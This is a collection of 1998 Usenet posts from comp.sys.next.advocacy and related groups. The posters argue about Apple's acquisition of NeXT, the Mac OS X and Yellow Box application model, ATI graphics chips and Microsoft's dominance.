> a computer platform. But the reason you think so is because the _only_
> other computers you have EVER seen are fully proprietary in design.
Ok. I will bite. What "open" hardware systems am I missing? Dec Alpha?
Sun Solarius? and then what OSs am I missing? Lynx? Open VMS?
<snip>
> And it is the hijacking of this de jour standard
> platform into a Windows monopoly that so colors your perception that you
> can't even see the inherent difference between buying a PC with Linux
> and buying a Sun Ultra II.
Oh, I see a big difference, but mostly in the attitude of the people
programming them. More on this later.
> >I do not agree with your optimistic view of our industry. Things
> >could get worse, much worse.
>
> Worse how? Millions of vendors selling thousands of products from
> hundreds of developers, each of them with varying levels of
> compatibility?
>
> Sounds like heaven to me.
>
Sounds like the '70s and '80s to me.
Don't you understand? I have been through the wars. I have led projects with
up to 30 software/hardware experts. We all prided ourselves on putting
together stable, efficient and effective systems. There were many pizza
catered design reviews where we sifted through the many products from several
developers, each with varying levels of compatibility. We were proud of the
systems we put together. Our customers/managers were very unhappy, they
could not understand what we were doing or why we were doing it. They were
sure it cost too much.
Yes, Max. I feel sorry for the newly graduated software engineer these days.
He/she hardly stands a chance of understanding the subtleties of writing a
kernal level driver, or why anyone would want a cooperative multitasking
operating system. "Point, click, ship" is going to be closer to what they
experience.
We have gone past the days where our customers are going let US decide what
is best for them. The users need to understand computers. Having "Millions
of vendors selling thousands of products from hundreds of developers, each of
them with varying levels of compatibility" will not help that process.
History will repeat itself, the users will get frustrated, and some
punk kid will shove a half-baked, easy-to-use operating system under their
nose and we will be right back to where we are, if we are lucky.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 04:21:11 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6mnafn$jq0$1@news.cs.tu-berlin.de>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com> <6mlvqh$ht4$1@news.cs.tu-berlin.de> <6mm4th$d1p@nntp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
John Jensen <jjens@primenet.com> writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>: Java and C++ make you think that the new ideas are like the old ones.
>: Java is the most distressing thing to hit computing since MS-DOS.
>: - Alan Kay -
>Java is the most distressing thing to hit computing since Alan Kay.
Do you even know how Alan Kay is?
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 02:22:41 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3593113e.2429234@news.supernews.com>
References: <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <atlauren-2206981155330001@jungleland.acs.uci.edu> <6mmt35$msv$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Tue, 23 Jun 1998 00:32:36 GMT,
>It is a interesting way of saying "mob rule" is a prime motivator.
>Unfortunately, I agree with you, otherwise why would the DOJ and Microsoft
>be spending so much time and effort in public relations. Call me an idealist,
>but I think it is our duty to fight against such tactics. This is especially
>true when the "asshole" is being irritating because that <individual> is
>taking advantage of our stupidity/weakness. Rather than admit our faults, we
>redouble our efforts to blame the <individual> beyond anything that can be
>reasonably justified.
How about we admit we're stupid AND shoot the bastard?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 04:46:13 GMT
Organization: Occam's Razor
Message-ID: <6mnbul$sq1$1@news.cmc.net>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6mmd18$d2e@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
>Michelle L. Buck <buck.erik@mcleod.net> wrote:
>
>>With the possible exception of high resolution graphics, everything NeXT
>>shipped in 1988 could have been in the Mac. People will say BS, no Mac
>>customer could have afforded it. Wake up! I purchased a Next Cube in
early
>>1989 partly because it was CHEAPER than the most nearly equivalent Apple
>>product and had more features to boot.
>
>Virtually everyone on this forum has previously written that the main
>reason the Next was a failure was because it was priced out of reach.
Not exactly. The NeXT hardware, post-original Cube, was always an
excellent value. It was far and away a better and less expensive
machine when compared to equivalent systems from other vendors,
including Apple, PC OEMs, and UNIX firms.
However, NeXT didn't really have any "low-end" models....
Once NeXT hardware was killed, and NeXT started selling the OS
independent of h/w, *then* things got expensive.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: 23 Jun 1998 04:56:07 GMT
Organization: Occam's Razor
Message-ID: <6mnch7$sq1$2@news.cmc.net>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu>
<slrn6otdot.24u.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6otdot.24u.sal@panix3.panix.com> Salvatore Denaro wrote:
>On Mon, 22 Jun 1998 10:28:29 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>
>>>Consistent Applications: Same fate as YellowBox/impossible along side
>>>Carbon
>
>I don't see this. If OpenStep Apps and Win32 Apps can work well on the same
>system, why can't Carbon and YB Apps? Assuming that AppleScript will provide
>a bridge to Services from Carbon (and it might, FAIK) then they should work
>well together.
Actually, I think this criticism is the most significant one raised
in this discussion. Even if AppleScript does provide a bridge to
Services, that won't change the fact that most MacOS X apps (those
not based on YB) won't have a Services menu, and won't export
Services to be used by YB apps.
Will Carbon apps use the equivalent of the YB NSText object, with
editable RTF everywhere, automatic support for drag-n-drop, HTML
interpretation, and hooks to the new Undo framework?
Will Carbon apps utilize the same pasteboards that YB apps do?
If I install a filter Service to open GIF2000 images w/in apps not
built to understand the new format, will Carbon apps gain the same
ability?
One of the great virtues of NS and kin is the near-perfect
consistency b/t apps. In this respect, it looks like MacOS X
will suck.
Personally, I don't plan on running any non-YB apps if I have a
choice.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: 23 Jun 1998 05:16:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ouegg.qhf.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net>
On 23 Jun 1998 04:56:07 GMT, Leon von Stauber <devnull@occam.com> wrote:
>Actually, I think this criticism is the most significant one raised
>in this discussion. Even if AppleScript does provide a bridge to
>Services, that won't change the fact that most MacOS X apps (those
>not based on YB) won't have a Services menu, and won't export
>Services to be used by YB apps.
Very good point. I hope it isn't as bad as most X11 systems where you end
up with a bunch of schizophrenic toolkits that can't talk to each other.
This is all speculation. We'll have to wait for DR1 of MacOSX to get a
clear idea of what it will look like. I hope it isn't too obvious that
you are running a pair of GUIs in parallel.
>Personally, I don't plan on running any non-YB apps if I have a
>choice.
I don't have any investment in MacOS Apps, so I'll stick to YB Apps myself.
At some point if I decide to buy a g3, I might buy Office. As it stands now,
the only YB App I am sure that I am going to buy is Mesa, mostly because
of EOF. I haven't seen any WP on YB that is going to get me to drop Word.
I don't do much in the way of imaging, if I did I might look at TIFFany.
--
sal@panix.com
Salvatore Denaro
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Selling WO is hard work (was: Re: Next purchase a mistake)
Date: Mon, 22 Jun 1998 23:25:58 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2206982325590001@dialin9231.slip.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com> <6mmhb7$eos$1@news.digifix.com> <slrn6ou6aj.h67.sal@panix3.panix.com>
In article <slrn6ou6aj.h67.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> This is 100% true. I am shocked at the hostility that a little bit of
> hexachromatic fruit can inspire. WO has a brilliant reputation on Wall
> Street, with some great success stories. But from what I've seen/heard
> it is a major battle to sell your boss on using it.
Apple has won a battle for me simply through it's pricing model. At the
university, if it costs less than $500, you really don't need to justify
the purchase. So WO gets slipped in sight unseen. Once it's in place and
running, who will argue?
Now, fortunately I don't really need to resort to such tactics but it
still helps.
-Bob Cassidy
it brought up
the text in a window but gave no edit functions. Basically it was just a
viewer. No big deal, I thought, I'll just do what I do on a Mac.
Save the document to My Documents.
Find the document. Can't get to it by going to Start:My Documents (why I
do not understand)
Open 'My Computer'. Then 'D', then something and something else. We get to
the proper window where we can see the file.
Oops, can't drag/drop to the Start Menu (again, why I do not understand)
to select a text editor.
Launch Text Editor from Start menu. (now realizing that navigating to file
window was a waste of time)
Select 'Open' and navigate back to 'My Documents'.
File doesn't show up.
AAH! HTML isn't TEXT it's HTML (how stupid of me...)
Select HTML and try again.
File Opens.
So there were some miscues in there, but even at it's most direct it's a
fairly lengthy process. Granted this is trying to make a PC work like a
Mac but I'm still at a loss how to do it much faster.
I think the rule, as everyone is telling me, is not to use the tool that I
want to use, but rather to use the one that I'm supposed to use. How PC.
-Bob Cassidy
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 22:33:57 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com>
In article <358E8686.FEBF1301@spamtoNull.com> Jonathan Harker <Limeyville@spamtoNull.com> writes:
>Salvatore Denaro wrote:
[snip]
>Look, if the ATI tech was *great* I'd cheerfully *say* it was
>great and chalk the inclusion of ATI tech up as a positive for Apple.
ATI Rage II is not great, but Rage Pro 2D is very good and 3D is competent
on the Mac with RAVE acceleration (Rage Pro 3D on Windows is unworkable).
The Mac drivers for Rage Pro are all around well done. I have the XCLAIM
VR with Rage Pro in my PowerCenter Pro 180 and have few complaints and
many compliments. Xlr8YourMac did a comprehensive review not too long
ago -
<http://www.xlr8yourmac.com/Graphics/index7.html>
"No video card in this price range will blow you away in 2D speed, but I
was surprised that the ATI Xclaim VR and 3D were just as fast as the
twice as expensive Nexus GA up to 1152x870, millions colors. They also
delivered good Rave performance, excellent documentation, good
solid drivers and in the case of the VR, the bonus of 320x240 video
capture to boot."
>But while I can think of a long list of adjectives to describe ATI
>graphics tech, "great" is nowhere among them (that's being charitable.)
If your experience is with the Rage II or Rage Pro 3D in Windows, I can
understand where you're coming from. But your opinion is unfounded with
Rage Pro on the Mac, period. I consider ATI's Rage Pro to be a valuable
asset to the G3 line, and hope they transition away from Rage II as
quickly as possible and make 8MB, not 6MB, the expansion limit.
--
Nathan Raymond
http://www.everythignmac.com
--
Nathan Raymond
http://www.everythingmac.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 23:42:57 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2206982342580001@dialin9231.slip.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <rmcassid-2206981714250001@dante.eng.uci.edu> <slrn6ou5r3.h67.sal@panix3.panix.com>
In article <slrn6ou5r3.h67.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Mon, 22 Jun 1998 17:14:25 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
> >But AU/X never tried to do all of the things that MacOS X promises to do.
> >It filled a role but never aspired to go on to greater things with any
> >credibility.
>
> Due to the gross incompetence of Apple, not the failings of AU/X. Heck,
> the ISP I use started on a MacIIx running AU/X and a UUCP news/mail feed.
> Apple wasted time and money on the newton and the QuickTake camera, when
> they should have been building a real OS.
You'll get no argument from me, but it *was* an Apple failing that no
longer exists specifically due to the Next acquisition. Not a
justification for the purchase _at the time_, but it certainly makes me
feel better about it now.
> >Appearance Manager.
>
> Is this going to be in MacOSX? And if it is, wouldn't it make sense to
> use NSInterfaceStyle as the foundation of it?
I think it has to be in there. I'm not sufficiently familiar with
NSInterfaceStyle to know specifically what it is designed to do here.
> >But will PPC be blowing the IA32 chips out of the water
> >price/performance-wise by then? G4 is supposed to be non-trivial, unlike
> >G3.
>
> Who knows. The fact that IBM pulled out of the PPC plant they shared
> with Motorola makes me wonder is the g4 isn't running into problems.
You mean Somerset? I don't think G4 is having problems, rather I think the
PPC partners are defining the roles more clearly. Mot is championing
Altivec and other things of interest to an embedded world. IBM is
championing 64 bit and blazingly fast CPUs. Apple will choose what makes
the most sense, and IBM will manufacture whatever people will pay for. In
the past it seemed that Apple was a customer to the low power chips (603e)
from Mot and the fast chips (604e) from IBM. The G3 reset the baseline to
the low power chips sacrificing the speed. As such, IBMs designs are of
primary interest to IBM now, not Apple. As such, IBM has little interest
in what was done at Somerset in the past. If I got all of this straight,
that is...
I haven't heard of any G4 problems, actually...
> >Netscape and Word make atrocious editors.
>
> Fair enough. I'll take your word on this.
Personally, I think that Word is pretty atrocious at any _specific_ task.
It's value comes in putting more mediocre tools all in one place than
anyone else. As for HTML text editors - only BBEdit. Nothing else
compares. As for graphical - the bargain tools suck - go with Dreamweaver
or Cyberstudio.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 22 Jun 1998 23:52:22 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2206982352230001@dialin9231.slip.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <atlauren-2206981155330001@jungleland.acs.uci.edu>
In article <atlauren-2206981155330001@jungleland.acs.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
> In this society, laws and legislation are often created in order to stop
> one person/party/company/etc from being an asshole. When enough that
> <individual> begins to piss off enough people, and enough people start
> thinking "what an asshole", eventually the whims of society (and thus the
> wheels of legistlation) start to turn against that <individual>.
>
> In these cases, it seems that words such as "should", "precedence" and
> "jurisprudence" are largely irrelevant.
Hell, we even have an amendment as evidence to this. The 22nd (term limits
for the presidency) was a clear message sent in opposition to FDRs term.
In 150 years we never had a president win a third term let alone a fourth
and it took the great depression and WWII together to produce such a run.
Now, was there _any_ evidence that we needed term limits? No. FDR was an
abberation of history.
The people didn't think he was an asshole, but one half of Congress sure did...
Personally I think term limits suck. We already have them. They are called
elections.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Tue, 23 Jun 1998 00:04:12 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2306980004120001@dialin9231.slip.uci.edu>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net> <6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com> <6mlro0$gfb$1@ns3.vrx.net> <slrn6ou5b2.h67.sal@panix3.panix.com>
In article <slrn6ou5b2.h67.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On 22 Jun 1998 15:03:28 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
> >> Apple users/developers do not want BSD UNIX.
> >> Apple users/developers do not want YellowBox.
> > Yes they do.
>
> No they don't. They want the functionality and stability that Unix
offers, not
> Unix. They want better Apps, not a tool to build better Apps.
>
> This is a major problem that MacOS has faced. There is so much ideology tied
> up in the Mac market, that any change is seen as sacrilege.
It's purely defensive. The Mac users have faced a decade of assaults by
unix and PC. The unix community always said 'GUIs suck' and the PC
community always said 'auto eject floppies suck' and on and on. As soon as
I can go to my bosses and suggest Macs for a reasonable task and not get
the Big-Sigh-and-Eye-Roll (TM) then I think the Mac users will be more
open. One problem has always been that once you accomodate the PCs, then
any defense for the Mac goes away quickly. The same holds for unix.
> The issue is marketing. How do you give Mac users what they want, but without
> the scary "u" word? You lie to them. Bold face lie. Give them Unix but call
> is MacOS.
For now.
If Apple can generate some respectability for the platform, then I think
you'll see Mac people adopt unix. But Apple will also *have* to make it as
an optional but not necessary element for the user.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: Tue, 23 Jun 1998 00:18:08 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2306980018090001@dialin9231.slip.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net>
In article <6mnch7$sq1$2@news.cmc.net>, com.occam@leonvs wrote:
> Actually, I think this criticism is the most significant one raised
> in this discussion. Even if AppleScript does provide a bridge to
> Services, that won't change the fact that most MacOS X apps (those
> not based on YB) won't have a Services menu, and won't export
> Services to be used by YB apps.
Well, any Carbon app could easily have a Services menu. Not all the menus
provided to a MacOS app are known by the app.
Services just uses the pasteboard, right? So I don't see why you couldn't
use AS to suck data from the pasteboard so long as the pass-by-reference
issues are dealt with properly. And I don't really see why you couldn't
export services by a similar mechanism. Sure the developer needs to do
some work to export but there is nothing wrong with that at all, it's not
automatic for YB apps after all.
> Will Carbon apps use the equivalent of the YB NSText object, with
> editable RTF everywhere, automatic support for drag-n-drop, HTML
> interpretation, and hooks to the new Undo framework?
RTF, probably not. Drag and drop, most certainly. HTML interpretation,
good question but maybe a argument for adopting YB. Undo framework,
probably not.
> Will Carbon apps utilize the same pasteboards that YB apps do?
I would think that would be possible.
> If I install a filter Service to open GIF2000 images w/in apps not
> built to understand the new format, will Carbon apps gain the same
> ability?
Support QT instead and throw the new format in there. Why limit yourself
to images...
But my guess would be no.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 23 Jun 1998 00:46:45 -0700
Message-ID: <see-below-2306980046450001@dynamic23.pm01.mv.best.com>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
In article <6mmm4l$n2j$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
> In article <358E8686.FEBF1301@spamtoNull.com> Jonathan Harker
<Limeyville@spamtoNull.com> writes:
> >Salvatore Denaro wrote:
> [snip]
> >Look, if the ATI tech was *great* I'd cheerfully *say* it was
> >great and chalk the inclusion of ATI tech up as a positive for Apple.
>
> ATI Rage II is not great, but Rage Pro 2D is very good and 3D is competent
> on the Mac with RAVE acceleration (Rage Pro 3D on Windows is unworkable).
> The Mac drivers for Rage Pro are all around well done. I have the XCLAIM
> VR with Rage Pro in my PowerCenter Pro 180 and have few complaints and
> many compliments. Xlr8YourMac did a comprehensive review not too long
> ago -
>
> <http://www.xlr8yourmac.com/Graphics/index7.html>
>
> "No video card in this price range will blow you away in 2D speed, but I
> was surprised that the ATI Xclaim VR and 3D were just as fast as the
> twice as expensive Nexus GA up to 1152x870, millions colors.
(big surprise considering they use the exact same chip...)
> >But while I can think of a long list of adjectives to describe ATI
> >graphics tech, "great" is nowhere among them (that's being charitable.)
>
> If your experience is with the Rage II or Rage Pro 3D in Windows, I can
> understand where you're coming from. But your opinion is unfounded with
> Rage Pro on the Mac, period. I consider ATI's Rage Pro to be a valuable
> asset to the G3 line, and hope they transition away from Rage II as
> quickly as possible and make 8MB, not 6MB, the expansion limit.
Rage Pro isn't unusable on Windows by any means, but regardless of drivers
it's about the slowest and one of the worst looking of the current
generation of 3D chipsets (current=shipping in products you can buy
today). It's basically equivalent to a Voodoo Graphics (slower in Quake
and probably other OpenGL games, but otherwise not too bad), but nowadays
that's considered pretty out of date on Wintel PCs (Voodoo is 1-1/2 years
old). But it's still state-of-the-art on the Mac. We just don't have
anything better to compare it to on the Mac, so it seems pretty good to
us.
It's possible the Mac/RAVE drivers are a bit better, but I though the D3D
drivers were pretty good, it's mainly OpenGL that's been lacking.
I think it's just adequate for the iMac, but it is adequate. Sure there's
better stuff out there, but Rage Pro is basically the bare minimum
acceptable 3D to include on a computer of any kind these days. I'm not
concerned that it won't have a Riva128 or Voodoo Banshee or Intel 740 or
whatever, but the idea of shipping it with Rage II just makes me shake my
head in despair.
I think it's very very likely it will have Rage Pro, but I just wish Apple
would go ahead and make some kind of announcement or even hint to that
effect, and we could stop arguing (well, we'd still argue that it should
be something better than Rage Pro, but I at least would be satisfied for
the time being...)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 00:33:32 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2306980033330001@dialin9231.slip.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com>
In article <petrichEuyx44.Lx8@netcom.com>, petrich@netcom.com (Loren
Petrich) wrote:
> >I appologize, I misunderstood your argument. I am still a little fuzzy on
> >your position. Are you saying "the Internet became easy to access (WWW, etc)
> >by itself and any credit Win95 received is totally bogus"?
>
> Imagine that M$ had never existed. I'm sure that some other
> company would have taken its place. This is because the 1970's and 1980's
> had seen several competing microcomputer architectures.
I don't think they would have to the same magnitude. Keep in mind that a
certain amount of MSs position in this world is due to their ability to
leverage proprietary file formats into OS share. How many OS/2 or MacOS
seats were lost becuase Windows promised _nothing_ more than guaranteed
up-to-the-minute support for Word and Excel? As such, Windows is not an OS
so much as a compatability platform for Office and some other apps. No
other company was really in a position to build this model in the 80s and
it is the presence of this model that presents the illusion that Windows
will be yet another compatability platform for the internet.
Consider a world where we have the MacOS and OS/2 and Windows and Linux
and so on, but no MS apps. We'd likely still have Lotus and WP around
writing our apps but likely no OS would have that 'compatability'
influence that Windows has now. The fight in the OS space would be
specifically for that - compatability, much as it is for Apple right
now...
-Bob Cassidy
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 23 Jun 1998 00:43:26 +0100
Organization: EarthLink Network, Inc.
Message-ID: <358EEC0C.248A@earthlink.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Let's all hope that someone out there writes a NeXTSTEP "theme" and
bring back some of the "style and slickness" to the UI.
Steve
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <358e0a5e.0@nnrp1.news.uk.psi.net>
Date: 22 Jun 98 07:40:14 GMT
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>I want to be convinced!
>
>I have had several replies to the arguments against the NeXT acquisition.
>So far, no body has contented that the purchase was NOT a mistake.
Oh, be serious! Probably no-one thought it was more than a rhetorical question
and no reply was neeeded.
Of course it wasn't a mistake.
However much Apple are playing down NeXT technologies in their publicity, they
got those technologies and the people who understand them, and they are (and will
continue to be) using them.
Sure, If you pick any particular big-name component (like Mach, or POSIX compatibility
or Macintosh emulation) you can say they had it already or could have bought it cheap
elsewhere - but that ignores the integration process and the knowhow, which add up to
far more. What they got was a refined and well tested whole that they could use as a
basis for a new system, which is a hugely different situation from having a large
variety iof disparate components.
As far as software development goes - Having used the MacOS API and the Yellow Box API
I have no doubt that new software development will be almost entirely for the yellow-box
with Carbon being used to port legacy apps (and by a few long-time MacOS developers who
are very much set in their ways). If the future of Mac software development is not
Yellow box, it will be because MS have finally managed to put Apple out of business.
With regard to the GUI - if it wasn't worth buying, it's only because Apple have
decided to make it that way! I guess that the market research told them that the fears
of conservative MacOS users would cost them too many sales. I think they have made the
wrong decision ... I simply do not believe that the technical problems involved in
giving the GUI two personalities (MacOS style and NeXT style) are sufficient to justify
the decision to kill the NeXT GUI.
The NeXT GUI provides a MUCH more USER FRIENDLY (and more powerful) UI, so even if they
had scrapped the Mac GUI in favour of the NeXT GUI, it would probably have gained them
more sales from new users than it lost them from old users who are set in their ways
(and it might even have brought in a few adventurous Windoze users).
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
From: petrich@netcom.com (Loren Petrich)
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <petrichEv03I3.5qF@netcom.com>
Organization: Netcom
References: <6jtgie$vp6$6@ligarius.ultra.net> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <359f66ae.57736605@news.supernews.com>
Date: Tue, 23 Jun 1998 10:51:39 GMT
Sender: petrich@netcom15.netcom.com
In article <359f66ae.57736605@news.supernews.com>,
T. Max Devlin <mdevlin@eltrax.com> wrote:
>And I bet I wouldn't have to re-install the entire PPP dialer system
>every few months in Warp the way I do for Win95.
I run both the MacOS and the BeOS, and here is how many times
I've had to do that:
0
And this is despite several crashes of Netscape Navigator on the
MacOS side (the worst I have to do is reboot).
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 23 Jun 1998 01:21:55 GMT
Organization: University of Maryland, College Park
Message-ID: <6mmvvj$45p$1@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <EuyCy5.300@haddock.cd.chalmers.se>
John Hornkvist (sorry@no.more.spams) wrote:
: In <6mh32i$5t4$3@hecate.umd.edu> David T. Wang wrote:
: > John Hornkvist (sorry@no.more.spams) wrote:
: >
: > : SPECfp is turning into a memory system benchmark rather than a fpu
: benchmark.
: >
: > This maybe true for the G3 class of mahcines, but this does not appear to
: > be true for the Pentium II systems.
: [examples snipped.]
: You should not look at the aggregates! That hides a lot of information about
